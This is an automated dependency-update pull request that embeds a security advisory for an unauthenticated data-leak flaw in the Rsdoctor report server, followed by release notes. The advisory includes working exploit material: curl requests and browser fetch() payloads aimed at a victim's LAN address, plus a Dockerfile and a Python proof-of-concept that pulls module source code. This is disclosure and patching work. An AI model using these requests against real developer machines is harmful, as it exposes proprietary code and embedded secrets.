chore(deps): update dependency @rsdoctor/rspack-plugin to v1.5.16 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
@rsdoctor/rspack-plugin (source)	1.5.12 → 1.5.16

---

@​rsdoctor/rspack-plugin has Unauthenticated HTTP API that Exposes Project Source Code and Build Metadata

CVE-2026-61782 / GHSA-jmg2-rcxh-w8q3

More information

Details

Summary

The default Rsdoctor report HTTP server started by @rsdoctor/rspack-plugin binds to all network interfaces (0.0.0.0) and serves a POST /api/data/key endpoint with no authentication and wildcard CORS (Access-Control-Allow-Origin: *). Any network-adjacent or remote attacker can send a single unauthenticated request to retrieve the full source code of all compiled JavaScript modules (moduleCodeMap), serialized build configuration (configs), error details, and other sensitive build metadata. This server is enabled by default in non-CI environments, requiring no special configuration from the victim developer.

Details

Root cause: server binds to all interfaces with no authentication and no key allowlist.

The vulnerability is composed of four independently observable defects that together create a complete unauthenticated information-disclosure path:

1. Server binds to 0.0.0.0 (all interfaces)

packages/utils/src/build/server.ts:107 calls server.listen(port, callback) without a host argument. Node.js defaults to 0.0.0.0, exposing the server on every network interface of the developer's machine, including LAN interfaces.

// packages/utils/src/build/server.ts:83,107
server.listen(port, () => {   // no host → 0.0.0.0
  resolve(res);
});

2. Wildcard CORS enabled unconditionally

packages/sdk/src/sdk/server/index.ts:106 applies cors() middleware with no origin restriction, and :203–204 additionally sets Access-Control-Allow-Origin: * explicitly on every API response, allowing cross-origin browser requests from any domain.

// packages/sdk/src/sdk/server/index.ts:106
this.app.use(cors());
// :203
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

3. POST /api/data/key registered with no authentication middleware

packages/sdk/src/sdk/server/apis/data.ts:6 registers the route via @Router.post. There is no authentication guard, token check, or session validation anywhere in the middleware chain.

// packages/sdk/src/sdk/server/apis/data.ts:6,13,29
@Router.post(SDK.ServerAPI.API.LoadDataByKey)
public async loadDataByKey() {
  let { key } = req.body as SDK.ServerAPI.InferRequestBodyType<SDK.ServerAPI.API.LoadDataByKey>;
  const data = await this.loadData(key);
  return data;
}

4. key is passed to getStoreData() without an allowlist

packages/sdk/src/sdk/server/apis/base.ts:29–39 indexes the entire SDK data store directly using the attacker-controlled key, including dot-path traversal for nested keys.

// packages/sdk/src/sdk/server/apis/base.ts:29,33,35-36
const data = this.ctx.sdk.getStoreData();
let res = data[key];
if (key.includes(sep)) {
  res = key.split(sep).reduce((t, k) => t[k], data);
}
return res;

Source-to-sink data flow:

Step	Location	Description
1	packages/rspack-plugin/src/plugin.ts:111	Plugin bootstraps the SDK server during build
2	packages/core/src/inner-plugins/utils/config.ts:98,110–115	disableClientServer defaults to false; server starts in all non-CI builds
3	packages/utils/src/build/server.ts:83,107	HTTP server created and bound to 0.0.0.0
4	packages/sdk/src/sdk/server/index.ts:106,203	Wildcard CORS applied unconditionally
5	packages/sdk/src/sdk/server/apis/data.ts:6,13,29	Attacker key accepted from request body
6	packages/sdk/src/sdk/server/apis/base.ts:29,36,39	key indexes sdk.getStoreData() with no allowlist
7	packages/sdk/src/sdk/sdk/index.ts:487,491	moduleCodeMap getter calls _moduleGraph.toCodeData()
8	packages/graph/src/graph/module-graph/graph.ts:464–469	toCodeData() returns all module source objects
9	packages/graph/src/graph/module-graph/module.ts:248–250	Each module exposes source, transformed, and parsedSource
10	packages/sdk/src/sdk/server/router.ts:119,125	Serialized result written to HTTP response

Default configuration ensures source code is captured:

packages/core/src/inner-plugins/utils/config.ts shows that noModuleSource, noAssetsAndModuleSource, and noCode all default to false, causing normalizeReportType to return SDK.ToDataType.Normal. This means module source code is stored in the SDK data store by default and retrievable via the moduleCodeMap key.

PoC

Original PoC

Environment setup:

##### Create and enter a temporary project directory
mkdir /tmp/rsdoctor-poc && cd /tmp/rsdoctor-poc
pnpm init

##### Install the vulnerable version
pnpm add -D @rspack/core@^2.0.8 @rspack/cli@^2.0.8 @rsdoctor/rspack-plugin@1.5.11

##### Create a source file embedding a secret
mkdir src
cat > src/index.js <<'EOF'
const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';
console.log(INTERNAL_API_KEY);
EOF

##### Create rspack config with the Rsdoctor plugin (default settings)
cat > rspack.config.js <<'EOF'
const { RsdoctorRspackPlugin } = require('@rsdoctor/rspack-plugin');
module.exports = {
  mode: 'development',
  entry: './src/index.js',
  output: { path: __dirname + '/dist', filename: 'bundle.js' },
  plugins: [new RsdoctorRspackPlugin()]
};
EOF

##### Run rspack — the Rsdoctor HTTP server starts automatically
pnpm rspack -c rspack.config.js

##### Note the printed port, e.g.: http://<lan-ip>:3717/index.html

Exploit (from any host on the same LAN, no authentication):

##### Primary probe: exfiltrate all module source code
curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
  -H 'Content-Type: application/json' \
  --data '{"key":"moduleCodeMap"}'

##### Response: full source code of every compiled module, including secrets

Expected response (excerpt):

{
  "...": "...",
  "source": "const INTERNAL_API_KEY = 'rsdoctor-secret-marker-123';\nconsole.log(INTERNAL_API_KEY);\n",
  "...": "..."
}

Secondary probe: exfiltrate build configuration and local paths:

curl -s "http://<victim-lan-ip>:<port>/api/data/key" \
  -H 'Content-Type: application/json' \
  --data '{"key":"configs"}'

##### Response: 9,278 bytes of serialized build configuration including absolute file paths

Automated PoC (Docker-based, self-contained reproduction):

The Docker-based reproduction builds and starts the vulnerable project inside a container, then executes poc.py to confirm source code exfiltration. The PoC embeds the marker string rsdoctor-vuln-001-secret-EXFIL-abc123 in the compiled source and asserts its presence in the unauthenticated API response:

============================================================
VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak
============================================================
[*] Detected Rsdoctor server on port: 3717 (after 3s)
[*] Running PoC exploit against http://127.0.0.1:3717 ...
[*] Target URL  : http://127.0.0.1:3717/api/data/key
[*] Payload     : {"key": "moduleCodeMap"}
[*] Auth header : (none)
[+] HTTP status  : 200
[+] Response size: 738 bytes
[+] SECRET MARKER FOUND IN RESPONSE: 'rsdoctor-vuln-001-secret-EXFIL-abc123'
[+] Context around secret:
    ...NEVER be able to read this content via an unauthenticated HTTP API.
const RSDOCTOR_SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123";
console.log(RSDOCTOR_SECRET_MARKER);
module.exports = { secret: RSDOCTOR_SECRET_MARKER };
...
[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API
[+] Secondary probe (key=configs) status: 200, size: 9,278 bytes

Recommended patch:

--- a/packages/utils/src/build/server.ts
+++ b/packages/utils/src/build/server.ts
-export async function createServer(port: number): Promise<{
+export async function createServer(
+  port: number,
+  host = '127.0.0.1',
+): Promise<{
-    server.listen(port, () => {
+    server.listen(port, host, () => {
       resolve(res);
     });

--- a/packages/sdk/src/sdk/server/index.ts
+++ b/packages/sdk/src/sdk/server/index.ts
   public get host(): string {
-    const host = getLocalIpAddress();
-    return host;
+    return '127.0.0.1';
   }
-    this._server = await Server.createServer(port);
+    this._server = await Server.createServer(port, this.host);
-    this.app.use(cors());
-          res.setHeader('Access-Control-Allow-Origin', '*');
-          res.setHeader('Access-Control-Allow-Credentials', 'true');

Minimal browser-based PoC

A malicious website can also attempt to read data from a local Rsdoctor report server by sending a browser request to 127.0.0.1 or localhost.

fetch('http://127.0.0.1:<rsdoctor-port>/api/data/key', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    key: 'moduleCodeMap',
  }),
})
  .then((res) => res.json())
  .then(console.log);

If the report server is reachable over the local network, an attacker may also target the victim machine's LAN address:

fetch('http://<victim-lan-ip>:<rsdoctor-port>/api/data/key', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
  },
  body: JSON.stringify({
    key: 'moduleCodeMap',
  }),
})
  .then((res) => res.json())
  .then(console.log);

In affected versions, the response may contain sensitive build metadata or compiled module source code.

Impact

This is an unauthenticated remote information disclosure vulnerability. Any attacker who can reach the developer's machine over the network (LAN, VPN, shared Wi-Fi, corporate network) can retrieve:

• Full JavaScript source code of every module compiled during the build, including any secrets, API keys, or proprietary business logic embedded in the source (moduleCodeMap)
• Serialized build configuration, including absolute local file paths, resolver settings, and plugin configurations (configs)
• Build errors that may contain stack traces with internal paths (errors)
• Environment information (envinfo)

The server is started automatically whenever a developer runs a build with the Rsdoctor plugin outside of a CI environment (disableClientServer defaults to false). No user interaction or special configuration is required from the victim. A single unauthenticated HTTP POST request is sufficient to exfiltrate all module source code.

Impacted parties include individual developers and organizations whose developers run Rsdoctor on machines connected to any shared or semi-trusted network, and any CI system that runs Rsdoctor in a non-CI-detected environment.

Patched Behavior

The patched version changes the report server's default security model:

• The report server binds to 127.0.0.1 by default.
• Default CORS no longer allows arbitrary origins.
• Default CORS only allows local origins such as localhost, *.localhost, 127.0.0.1, and [::1].
• Passing a partial CORS object preserves the default local-origin protection.
• HTTP requests are rejected when the request host is not allowed.
• The report WebSocket requires a per-server token.
• The report UI receives the tokenized socket URL through runtime report data and uses that URL to connect.

Upgrade Path

Upgrade Rsdoctor packages to the patched version:

pnpm add -D @rsdoctor/rspack-plugin@^1.5.16

Most users do not need additional configuration after upgrading.

CORS Configuration Behavior

The patched version aligns Rsdoctor's CORS behavior with a safer default model. In particular, partial CORS options no longer drop the default local-origin protection.

User configuration server.cors	Effective CORS behavior
undefined	Enables CORS for default local origins only
false	Disables CORS middleware
true	Uses cors({}); effectively allows arbitrary origins and is not recommended
{ credentials: true }	Keeps default local origins and adds credentials: true
{ origin: 'https://example.com' }	Allows only the configured origin
{ origin: '*' }	Allows arbitrary origins and is not recommended
{ origin: false }	Does not set Access-Control-Allow-Origin
{ origin: fn }	Uses the custom origin function
{ origin: /regex/ }	Uses the custom regular expression

Recommended configuration

For most users, leave server.cors unset:

new RsdoctorRspackPlugin();

If another local development frontend needs to access the report server, configure an exact origin:

new RsdoctorRspackPlugin({
  server: {
    cors: {
      origin: 'http://localhost:3000',
      credentials: true,
    },
  },
});

Avoid permissive CORS configuration:

new RsdoctorRspackPlugin({
  server: {
    cors: true,
  },
});

new RsdoctorRspackPlugin({
  server: {
    cors: {
      origin: '*',
    },
  },
});

These configurations explicitly opt out of the safer default CORS behavior.

Breaking Changes

The patched version intentionally tightens the report server's access model.

1. The report server is local-only by default

The report server is no longer intended to be accessed from arbitrary LAN hosts or remote machines by default.

If your workflow depended on opening the Rsdoctor report server from another device on the network, that workflow may stop working after upgrading. The recommended approach is to access the report from the same machine that started the build, or to use generated static report output instead of exposing the development report server.

2. Cross-origin access is restricted by default

Web pages from non-local origins can no longer read report server responses by default.

If you have a trusted local integration, configure the exact allowed origin through server.cors.origin.

3. Custom WebSocket clients must use the tokenized socket URL

The report WebSocket now requires a per-server token.

Custom clients must not construct the socket URL manually, for example:

new WebSocket('ws://localhost:<port>');

Instead, they must use the tokenized socket URL provided by the report runtime data.

4. server.cors: true remains an explicit opt-out

server.cors: true uses the default behavior of the cors middleware and is effectively permissive. This behavior is kept for compatibility, but it is not recommended for untrusted environments.

Workarounds

If upgrading immediately is not possible, users can reduce exposure by disabling the report server:

new RsdoctorRspackPlugin({
  disableClientServer: true,
});

Additional mitigations:

• Do not expose the report server port to untrusted networks.
• Do not use server.cors: true.
• Do not use server.cors.origin: '*'.
• Run builds only in trusted local environments.
• Block external access to the report server port with firewall rules.

These workarounds do not fully address every attack path. Upgrading to a patched version is recommended.

Reproduction artifacts

Dockerfile

##### Dockerfile for VULN-001 dynamic reproduction
##### Vulnerability: Unauthenticated HTTP API exposes project source code

##### Package: @rsdoctor/rspack-plugin@1.5.11
##### Endpoint: POST /api/data/key  (no auth required)

##### CWE-200 / CVSS 7.5 High

FROM node:24-slim

##### Install Python3 (for poc.py)
RUN apt-get update && \
    apt-get install -y --no-install-recommends python3 && \
    rm -rf /var/lib/apt/lists/*

##### Install pnpm (version required by rsdoctor monorepo engine spec)
RUN corepack enable && corepack prepare pnpm@10.33.4 --activate

##### ── Vulnerable project setup ──────────────────────────────────────────────────
WORKDIR /poc

##### Minimal package.json
RUN echo '{"name":"rsdoctor-poc","version":"1.0.0","private":true}' > package.json

##### Install the vulnerable plugin version and rspack peer dependency
RUN pnpm add -D \
    "@rspack/core@^2.0.8" \
    "@rspack/cli@^2.0.8" \
    "@rsdoctor/rspack-plugin@1.5.11"

##### Copy the project source tree (contains a secret marker)
COPY project/ /poc/

##### Provide a stub xdg-open so the 'open' npm package does not trigger an

##### uncaughtException (ENOENT) that would kill the Rsdoctor HTTP server before
##### the PoC can connect.
RUN printf '#!/bin/sh\nexit 0\n' > /usr/bin/xdg-open && chmod +x /usr/bin/xdg-open

##### ── PoC and entrypoint ────────────────────────────────────────────────────────
COPY poc.py /poc.py
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: Unauthenticated HTTP API exposes project source code
via /api/data/key in @rsdoctor/rspack-plugin@1.5.11

Affected endpoint: POST /api/data/key
No authentication required. Sending {"key":"moduleCodeMap"} returns
the full source code of all compiled modules.

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
CVSS v3.1: 7.5 (High) - AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
"""
import sys
import json
import urllib.request
import urllib.error

SECRET_MARKER = "rsdoctor-vuln-001-secret-EXFIL-abc123"
REQUEST_TIMEOUT = 15

def exploit(port: int) -> bool:
    """
    Send unauthenticated POST /api/data/key with key=moduleCodeMap.
    Returns True if secret marker is found in the response (PASS).
    """
    url = f"http://127.0.0.1:{port}/api/data/key"
    print(f"[*] Target URL  : {url}")
    print(f"[*] Payload     : {{\"key\": \"moduleCodeMap\"}}")
    print(f"[*] Auth header : (none)")
    print(f"[*] Secret text : {SECRET_MARKER}")
    print()

    payload = json.dumps({"key": "moduleCodeMap"}).encode("utf-8")
    req = urllib.request.Request(
        url,
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )

    try:
        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            status = resp.status
    except urllib.error.HTTPError as exc:
        print(f"[-] HTTP error: {exc.code} {exc.reason}")
        return False
    except urllib.error.URLError as exc:
        print(f"[-] Connection error: {exc.reason}")
        return False

    print(f"[+] HTTP status  : {status}")
    print(f"[+] Response size: {len(body):,} bytes")

    if SECRET_MARKER in body:
        print(f"[+] SECRET MARKER FOUND IN RESPONSE: {SECRET_MARKER!r}")
        print()
        # Show the surrounding context (first 300 chars around the marker)
        idx = body.index(SECRET_MARKER)
        start = max(0, idx - 100)
        end = min(len(body), idx + len(SECRET_MARKER) + 100)
        snippet = body[start:end].replace("\\n", "\n")
        print(f"[+] Context around secret:")
        print(f"    ...{snippet}...")
        print()
        print("[PASS] VULN-001 CONFIRMED: source code exfiltrated via unauthenticated API")
        return True
    else:
        print("[-] Secret marker NOT found in response")
        print(f"[-] Response preview (first 500 bytes): {body[:500]!r}")
        print("[FAIL] Could not confirm source code leakage")
        return False

def probe_configs(port: int) -> None:
    """Secondary probe: check if build configs/paths are also exposed."""
    url = f"http://127.0.0.1:{port}/api/data/key"
    payload = json.dumps({"key": "configs"}).encode("utf-8")
    req = urllib.request.Request(
        url,
        data=payload,
        headers={"Content-Type": "application/json"},
        method="POST",
    )
    try:
        with urllib.request.urlopen(req, timeout=REQUEST_TIMEOUT) as resp:
            body = resp.read().decode("utf-8", errors="replace")
            print(f"[+] Secondary probe (key=configs) status: {resp.status}, size: {len(body):,} bytes")
    except Exception as exc:
        print(f"[*] Secondary probe (key=configs) failed: {exc}")

def main() -> None:
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <port>")
        sys.exit(1)

    try:
        port = int(sys.argv[1])
    except ValueError:
        print(f"[-] Invalid port: {sys.argv[1]!r}")
        sys.exit(1)

    print("=" * 60)
    print("VULN-001 PoC: Rsdoctor Unauthenticated Source Code Leak")
    print("=" * 60)

    success = exploit(port)
    print()
    probe_configs(port)

    sys.exit(0 if success else 2)

if __name__ == "__main__":
    main()

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/web-infra-dev/rsdoctor/security/advisories/GHSA-jmg2-rcxh-w8q3
• https://nvd.nist.gov/vuln/detail/CVE-2026-61782
• https://github.com/web-infra-dev/rsdoctor/pull/1744
• https://github.com/web-infra-dev/rsdoctor/pull/1758
• https://github.com/web-infra-dev/rsdoctor/commit/602eb306a49b6d19c4c1ea9d8ee0f8caab9e208f
• https://github.com/web-infra-dev/rsdoctor/commit/e9aaef21f85becfe43a46f716509f41ea5edeb40
• https://github.com/advisories/GHSA-jmg2-rcxh-w8q3

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

---

Release Notes

web-infra-dev/rsdoctor (@​rsdoctor/rspack-plugin)

v1.5.16

Compare Source

What's Changed

New Features 🎉

• feat: report server options by @​yifancong in #​1751

Bug Fixes 🐞

• fix(agent-cli): backport publish pack guard by @​elevenland48-crypto in #​1754
• fix(sdk): align CORS middleware with defaults by @​yifancong in #​1756
• fix(sdk): harden dev server access by @​yifancong in #​1757

Other Changes

• Release: v0.1.1 for @​rsdoctor/agent-cli by @​yifancong in #​1755

Full Changelog: web-infra-dev/rsdoctor@v1.5.15...v1.5.16

v1.5.15

Compare Source

What's Changed

Bug Fixes 🐞

• fix(sdk): restrict report server exposure by @​yifancong in #​1744

Full Changelog: web-infra-dev/rsdoctor@v1.5.14...v1.5.15

v1.5.14

Compare Source

What's Changed

• chore(deps): update dependency launch-editor to ^2.14.1 by @​renovate[bot] in #​1734
• chore(deps): update dependency @​rslint/core to ^0.6.1 by @​renovate[bot] in #​1733
• fix: sync treemap root and sidebar size modes by @​elecmonkey in #​1736
• chore(deps): update dependency ws to v8.21.0 [security] by @​renovate[bot] in #​1735

Full Changelog: web-infra-dev/rsdoctor@v1.5.13...v1.5.14

v1.5.13

Compare Source

What's Changed

Performance 🚀

• perf(client): improve tree graph performance (#​1705) by @​s-r-x in #​1715

Bug Fixes 🐞

• fix(agent-cli): publish declaration entry (#​1723) by @​yifancong in #​1725
• fix(deps): relax rstack catalog ranges (#​1714) by @​yifancong in #​1717

Other Changes

• release v1.5.13 by @​yifancong in #​1728
• chore: sync renovate update dependences versions by @​yifancong in #​1724

Full Changelog: web-infra-dev/rsdoctor@v1.5.12...v1.5.13

---

Configuration

📅 Schedule: (in timezone Asia/Shanghai)

• Branch creation
  • At any time (no schedule defined)
• Automerge
  • At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.